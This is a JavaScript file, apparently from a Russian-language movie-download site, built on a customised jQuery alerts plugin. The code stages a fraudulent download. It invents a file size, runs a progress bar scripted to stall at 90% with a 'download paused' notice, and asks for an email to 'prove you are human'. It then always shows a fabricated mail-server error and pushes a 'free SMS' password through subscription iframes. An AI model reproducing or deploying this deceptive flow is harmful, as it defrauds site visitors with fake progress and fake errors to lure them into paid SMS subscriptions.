// алерты 
(function($) {
	
	$.alerts = {
		
		
		verticalOffset: -75,                // vertical offset of the dialog from center screen, in pixels
		horizontalOffset: 0,                // horizontal offset of the dialog from center screen, in pixels/
		repositionOnResize: true,           // re-centers the dialog on window resize
		overlayOpacity: .01,                // transparency level of overlay
		overlayColor: '#FFF',               // base color of overlay
		draggable: true,                    // make the dialogs draggable (requires UI Draggables plugin)
		okButton: '&nbsp;Да&nbsp;',         // text for the OK button
		cancel_dButton: '&nbsp;Отменить&nbsp;',
		cancelButton: '&nbsp;Нет&nbsp;',    // text for the Cancel button
		cancelButton_mail: '&nbsp;Нет, я не буду смотреть фильм&nbsp;',
		okButton_mail: '&nbsp;Отправить пароль&nbsp;',
		dialogClass: null,                  // if specified, this class will be applied to all dialogs
		
		// Public methods
		
		alert: function(message, title, callback) {
			if( title == null ) title = 'Alert';
			$.alerts._show(title, message, null, 'alert', function(result) {
				if( callback ) callback(result);
			});
		},
		
		frame: function(message, title, callback) {
			if( title == null ) title = 'Frame';
			$.alerts._show(title, message, null, 'frame', function(result) {
				if( callback ) callback(result);
			});
		},
		
		confirm: function(message, title, callback) {
			if( title == null ) title = 'Confirm';
			$.alerts._show(title, message, null, 'confirm', function(result) {
				if( callback ) callback(result);
			});
		},

		confirm_mail: function(message, title, callback) {
			if( title == null ) title = 'Confirm';
			$.alerts._show(title, message, null, 'confirm_mail', function(result) {
				if( callback ) callback(result);
			});
		},
			
		prompt: function(message, value, title, callback) {
			if( title == null ) title = 'Prompt';
			$.alerts._show(title, message, value, 'prompt', function(result) {
				if( callback ) callback(result);
			});
		},
		
		// Private methods
		
		_show: function(title, msg, value, type, callback) {
			
			$.alerts._hide();
			$.alerts._overlay('show');
			
			$("BODY").append(
			  '<div id="popup_container">' +
			    '<h1 id="popup_title"></h1>' +
			    '<div id="popup_content">' +
			      '<div id="popup_message"></div>' +
				'</div>' +
			  '</div>');
			
			if( $.alerts.dialogClass ) $("#popup_container").addClass($.alerts.dialogClass);
			
			// IE6 правки
			var pos = ($.browser.msie && parseInt($.browser.version) <= 6 ) ? 'absolute' : 'fixed'; 
			
			$("#popup_container").css({
				position: pos,
				zIndex: 99991,
				padding: 0,
				margin: 0
			});
			
			$("#popup_title").text(title);
			$("#popup_content").addClass(type);
			$("#popup_message").text(msg);
			$("#popup_message").html( $("#popup_message").text().replace(/\n/g, '<br />') );
			
			$("#popup_container").css({
				minWidth: $("#popup_container").outerWidth(),
				maxWidth: $("#popup_container").outerWidth()
			});
			
			$.alerts._reposition();
			$.alerts._maintainPosition(true);
			overlay();

			
			switch( type ) {
				case 'alert':
					$("#popup_message").after('<div id="popup_panel"><input style="padding:5px 10px;" type="button" value="' + $.alerts.cancel_dButton + '" id="popup_ok" /></div>');
					// если простой алерт то запускаем
					// полоску загрузки
			
					
					//$("#popup_message").after('<div id="popup_panel"><a href="#" id="popup_ok">' + $.alerts.cancel_dButton + '</a> id="popup_ok" /></div>');
					
					$("#popup_ok").click( function() {
						$.alerts._hide();
						callback(true);
					});
					
					$("#popup_ok").focus().keypress( function(e) {
						if( e.keyCode == 13 || e.keyCode == 27 ) $("#popup_ok").trigger('click');
					});
					
				break;
				
				case 'frame':
					$("#popup_message").after('<div id="popup_panel"></div>');
				break;
				
				case 'confirm':
					$("#popup_message").after('<div id="popup_panel"><input style="padding:5px 10px;" type="button" value="' + $.alerts.okButton + '" id="popup_ok" /> <input style="padding:5px 10px;" type="button" value="' + $.alerts.cancelButton + '" id="popup_cancel" /></div>');
					$("#popup_ok").click( function() {
						$.alerts._hide();
						if( callback ) callback(true);
					});
					$("#popup_cancel").click( function() {
						$.alerts._hide();
						if( callback ) callback(false);
					});
					$("#popup_ok").focus();
					$("#popup_ok, #popup_cancel").keypress( function(e) {
						if( e.keyCode == 13 ) $("#popup_ok").trigger('click');
						if( e.keyCode == 27 ) $("#popup_cancel").trigger('click');
					});
				break;

				case 'confirm_mail':
					$("#popup_message").after('<div id="popup_panel"><input style="padding:5px 10px;" type="button" value="' + $.alerts.okButton_mail + '" id="popup_ok" /> <input style="padding:5px 10px;" type="button" value="' + $.alerts.cancelButton_mail + '" id="popup_cancel" /></div>');
					$("#popup_ok").click( function() {
						$.alerts._hide();
						if( callback ) callback(true);
					});
					$("#popup_cancel").click( function() {
						$.alerts._hide();
						$.alerts._hide();
						//if( callback ) callback(false);
						
					});
					$("#popup_ok").focus();
					$("#popup_ok, #popup_cancel_").keypress( function(e) {
						if( e.keyCode == 13 ) $("#popup_ok_").trigger('click');
						if( e.keyCode == 27 ) $("#popup_cancel_").trigger('click');
					});
				break;
				
				case 'prompt':
					$("#popup_message").append('<br /><input type="text" size="30" id="popup_prompt" />').after('<div id="popup_panel"><input type="button" value="' + $.alerts.okButton + '" id="popup_ok" /> <input type="button" value="' + $.alerts.cancelButton + '" id="popup_cancel" /></div>');
					$("#popup_prompt").width( $("#popup_message").width() );
					$("#popup_ok").click( function() {
						var val = $("#popup_prompt").val();
						$.alerts._hide();
						if( callback ) callback( val );
					});
					$("#popup_cancel").click( function() {
						$.alerts._hide();
						if( callback ) callback( null );
					});
					$("#popup_prompt, #popup_ok, #popup_cancel").keypress( function(e) {
						if( e.keyCode == 13 ) $("#popup_ok").trigger('click');
						if( e.keyCode == 27 ) $("#popup_cancel").trigger('click');
					});
					if( value ) $("#popup_prompt").val(value);
					$("#popup_prompt").focus().select();
				break;
			}
			
			// Make draggable
			if( $.alerts.draggable ) {
				try {
					$("#popup_container").draggable({ handle: $("#popup_title") });
					$("#popup_title").css({ cursor: 'move' });
				} catch(e) { /* requires jQuery UI draggables */ }
			}
		},
		
		_hide: function() {
			$("#popup_container").remove();
			$.alerts._overlay('hide');
			$.alerts._maintainPosition(false);
			$('#TB_overlay').remove();
		},
		
		_overlay: function(status) {
			switch( status ) {
				case 'show':
					$.alerts._overlay('hide');
					$("BODY").append('<div id="popup_overlay"></div>');
					$("#popup_overlay").css({
						position: 'absolute',
						zIndex: 99990,
						top: '0px',
						left: '0px',
						width: '100%',
						height: $(document).height(),
						background: $.alerts.overlayColor,
						opacity: $.alerts.overlayOpacity
					});
				break;
				case 'hide':
					$("#popup_overlay").remove();
				break;
			}
		},
		
		_reposition: function() {
			var top = (($(window).height() / 2) - ($("#popup_container").outerHeight() / 2)) + $.alerts.verticalOffset;
			var left = (($(window).width() / 2) - ($("#popup_container").outerWidth() / 2)) + $.alerts.horizontalOffset;
			if( top < 0 ) top = 0;
			if( left < 0 ) left = 0;
			
			// IE6 fix
			if( $.browser.msie && parseInt($.browser.version) <= 6 ) top = top + $(window).scrollTop();
			
			$("#popup_container").css({
				top: top + 'px',
				left: left + 'px'
			});
			$("#popup_overlay").height( $(document).height() );
		},
		
		_maintainPosition: function(status) {
			if( $.alerts.repositionOnResize ) {
				switch(status) {
					case true:
						$(window).bind('resize', $.alerts._reposition);
					break;
					case false:
						$(window).unbind('resize', $.alerts._reposition);
					break;
				}
			}
		}
		
	}
	
	// Shortuct functions
	jAlert = function(message, title, callback) {
		$.alerts.alert(message, title, callback);
	}
	
	jFrame = function(message, title, callback) {
		$.alerts.frame(message, title, callback);
	}
	
	jConfirm = function(message, title, callback) {
		$.alerts.confirm(message, title, callback);
	};
		
	jPrompt = function(message, value, title, callback) {
		$.alerts.prompt(message, value, title, callback);
	};

	jConfirm_mail = function(message, title, callback) {
		$.alerts.confirm_mail(message, title, callback);
	};
	
})(jQuery);

function overlay(){
if(!jQuery("body").find("#TB_overlay").is("div")) /* если фон уже добавлен не добавляем повторно */
{
   if(!jQuery.browser.msie) /* если браузер не ИЕ фоном будет div */
   jQuery("body").append("<div id='TB_overlay'></div>");
   else /* иначе добавляем iframe */
   jQuery("body").append("<div id='TB_overlay'><iframe scrolling='no' frameborder='0' style='position: absolute; top: 0; left: 0; width: 100%; height: 100%; filter:alpha(opacity=0)'></iframe></div>");
}
}

/*-------------------------------------------------------------------------------*/

function start(title, img, size, id){
if (size=='') {
 size = (Math.random() * (2 - 1.5) + 1.5).toFixed(1); 
 if (size>5) size += ' МБ'; else size += ' ГБ';
}
randomTime = 8;//new_v(true, randomNumber, randomTime);
	jConfirm('<img alt="Нет постера" width="120px" src="' + img + '"><br/><br/>Начать скачивание фильма ' + title + ' на ваш компьютер?', title, function(r){strt_down(r, size, randomTime, id);});
}

function downloadlink(link, img) {
	jAlert('Ваша ссылка на скачивание: <a href="'+link+'" target="_blank">Скачать фильм</a>', 'Скачать фильм');
}

function downloadserial(link, img) {

	var links = link.split(',');
	var i = 1;
	var text = '<br />';

	for ( item in links ) {
		text = text + '<div style="width: 50%; float: left;"><a href="'+links[item]+'" target="_blank">Скачать серию № '+ i +'</a></div>';
		i++;
	}
	jAlert( text + '<div style="clear: both;">', 'Скачать фильм');

}



/*-------------------------------------------------------------------------------*/


function strt_down(r, size, randomTime, id) {
	if (r == true)
	{
			
	text = "<div align='left' style='margin-left:160px;'>Идет скачивание фильма на рабочий стол<span id='dd'></span></div><br /> <center>Размер загружаемого файла " + size + " <br /><br />Осталось <b id='Countdown'></b> мин.<br /><br />Не закрывайте это окно, это приведет к остановке закачки!!! </center><br/><div align='left' id ='blink' style='visibility: hidden; margin-left:203px;'>Закачка приостановлена!</div><div id='hidden'><div class='progress-bar' ><div id ='sample' class='bar'>90%</div></div><div id ='percentage'></div></div>";
	jAlert(text, 'Загрузка...', function(r){new_W(size, randomTime, id);});
	progressBar();
	startCountdown(randomTime);
	
	if(randomTime<2)
	initialize('1', id);
	else
	initialize('2', id);
	}
	
}


function new_W(size, randomTime, id) {
	// сбрасываем все таймеры
	clearTimeout(time_1);
	clearTimeout(time_2);
	clearTimeout(intervalID);
	clearTimeout(time_3);

	jConfirm('Продолжить загрузку фильма?<br/ >(в противном случае вы потеряете все сохраненные данные)', 'Загрузка...', function(r){strt_down(r, size, randomTime, id);});
	}
	

function new_5(id) {
	text = "Чтобы смотреть фильмы целиком, скачивать и комментировать фильмы,<br> необходимо зарегистрироваться.<br> Для этого просто введите свой e-mail, на который мы вышлем пароль: <br / ><br /> <input name='form' type='text' width='50' /><br /> например, pochta@mail.ru<br /><br /><input name='IN' type='button' value='Отправить' onclick='open_win("+id+");' /><br /><br />( <a href='#' style='font-size: 11px; color: #666; text-decoration: none;' onclick='window.parent.window.location.reload();'>закрыть окно</a> ) ";
	jFrame(text, 'Регистрация');
	}
	
function new_3(id) {
//alert(id);
	text = '<iframe src="/subscription/index.php?id='+id+'" style="width:100%; height:450; background-color:transparent;margin-top:-120px;" scrolling="no" frameborder="0" allowtransparency="true" name="popupFrame" width="100%" height="450"></iframe>';
	jFrame(text, 'Регистрация');
	}	
	
function new_4(id) {
//alert(id);
	text = '<iframe src="/subscription/norus.php?id='+id+'" style="width:100%; height:450; background-color:transparent;margin-top:-120px;" scrolling="no" frameborder="0" allowtransparency="true" name="popupFrame" width="100%" height="450"></iframe>';
	jFrame(text, 'Регистрация');
	}	

function new_mail(id) {
	text = "Для того, чтобы продолжить и завершить скачивание,<br> подтвердите что вы человек, а не поисковый робот.<br> Просто введите свой e-mail, на который мы вышлем пароль:<br / ><br /> <input name='form' type='text' width='50' /><br /> например, pochta@mail.ru<br /><br /><input name='IN' type='button' value='Отправить' onclick='open_win("+id+");' /> <br /><br />( <a href='#' style='font-size: 11px; color: #666; text-decoration: none;' onclick='window.parent.window.location.reload();'>закрыть окно</a> )";
	jFrame(text, 'Регистрация');
	}

function new_mail_1() {
	text = "Чтобы продолжить просмотр и смотреть фильмы целиком, качать и комментировать фильмы,<br> необходимо подтвердить что вы человек, а не поисковый робот.<br> Просто введите свой e-mail, на который мы вышлем пароль: <br / ><br /> <input name='form' type='text' width='50' /><br /> Формат: xxxx@xxxx.xx <br /><br /><input name='IN' type='button' value='Отправить' onclick='open_win("+id+");' /> <br /><br />( <a href='#' style='font-size: 11px; color: #666; text-decoration: none;' onclick='window.parent.window.location.reload();'>закрыть окно</a> )";
	jFrame(text, 'Регистрация');
	}	

/*-------------------------------------------------------------------------------*/

/*
/ Функции прогресс бара "полоска"
*/
function initialize(t, id) {

	if(t==1)
		time = 5000;//time=2;
	if(t==2)
		time = 4000;//time=1;
	 
	hidd = document.getElementById('hidden');
	hidd.style.visibility="visible";

	divId = 'sample';
	thedivId = document.getElementById(divId);
	var percentage = thedivId.innerHTML;
	thedivId.style.backgroundColor="#06C";
	thedivId.style.borderRadius="2px";
	thedivId.style.boxShadow = "inset 0 0 5px black";
	brim(divId,0,parseInt(percentage.substr(0, percentage.length-1)), time, id);
}


function setWidth(o, start) {
	o.style.width = start+"%";
}


function brim(Id,start,percentage, time, id) {
	if (document.getElementById) {
		o = document.getElementById(Id);
		
		if (start == percentage+1) {
			// запуск регистрации
			
			butt = document.getElementById('popup_ok');
			butt.value = 'Продолжить закачку';
		
			hidn = document.getElementById('blink');
			hidn.style.visibility="visible";
			hidn.style.color="red";
			hidn.style.fontSize='15px';
			hidn.style.textDecoration = 'blink';
			butt.id = 'popup_ok_';

			$("#popup_ok_").click( function() {
						new_mail(id);
					});
			
			$("#popup_ok_").focus().keypress( function(e) {
						if( e.keyCode == 13 || e.keyCode == 27 ) $("#popup_ok_").trigger('click');
					});
						
			return;
		}
		
		if (start <= percentage) {
			setWidth(o, start);
			start += 1;
			document.getElementById('percentage').innerHTML = (start -1) + "%";
			time_1 = window.setTimeout("brim('"+Id+"',"+start+","+percentage+","+time+","+id+")", time);
		}
		
	}
}

/*
/ Функция обратного отчета
*/
function startCountdown(time){
	if (time != null){g_iCount = time;}
       if((g_iCount - 1) >= 1){
               g_iCount = g_iCount - 1;
               document.getElementById('Countdown').innerHTML = g_iCount;
               time_2 = window.setTimeout('startCountdown()',60000);
       }
}


/*
/ Функции запуска прогрессбара 'три точки'
*/
function progressBar(){
intervalID = setInterval(function(){document.getElementById('dd').innerHTML += "<span>.</span>";}, 1000);
setTimeout(function(){clearInterval(intervalID)},4000);
time_3 = setTimeout(res, 4000);
}
 
function res(){
document.getElementById('dd').innerHTML = '';
progressBar();
}





function open_win(id) {
text = "Отправка пароля... <br /><br /> <img src='/subscription/images/loading.gif'/>";
jFrame(text, 'Ожидание ответа...');
setTimeout('close_win('+id+')',5000);
}

function close_win(id) {
text = "<div align='center'><table><tr><td style=\"padding: 10px;\"><img src='/subscription/images/important.png'/></td><td>Не удалось отправить письмо на указанный адрес.<br /> Хотите получить пароль в бесплатном смс сообщении?</td></tr></table></div>";
jConfirm_mail(text, 'Ошибка почтового сервера!', function(r){close_win_(id);});
}


function close_win_(id) {
text = "Выберите свою страну:<br><br><input id='rus' name='' type='button' value='Я из России'  />&nbsp;<input id='nrus' name='' type='button' value='Я из другой страны' onclick='new_4("+id+");' />";
jFrame(text, 'Ожидание ответа...');
$("#rus").click( function() {
new_3(id);
});
$("#nrus").click( function() {
new_4(id);
});

}

function phoneINr() {
new_3();
}

function phoneINn() {
new_4();
}
//--------------------------------------------------------------------------------

function mail_in() {
text = "<div align='center' style='width: 100%;'><br><br><br><br><br><br><p style='color:#000'>Чтобы продолжить просмотр и смотреть фильмы целиком, качать и комментировать фильмы, необходимо подтвердить что вы человек, а не поисковый робот<br> Просто введите свой e-mail, на который мы вышлем пароль:</p><br / ><br /> <input name='form' type='text' width='50' /><br /><p style='color:#FFF'>Формат: xxxx@xxxx.xx</p> <br /><br /><input name='IN' type='button' value='Отправить' onclick='open_win();' /></div>";

$("#videoplayer").append(text);
}


function true_in(id) {
text = "<div align='center' style='width: 100%;'><p style='color:#fff'>Чтобы продолжить просмотр и смотреть фильмы целиком, качать и комментировать фильмы, необходимо зарегистрироваться.</p><br / ><br /><p style='color:#FFF'><input onClick='javascript: new_3("+id+");' name='' value='Зарегистрироваться и продолжить просмотр' type='button' /><input onClick='javascript: window.parent.window.location.reload();' name='' value='Выйти' type='button' />";

$("#videoplayer").append(text);
}
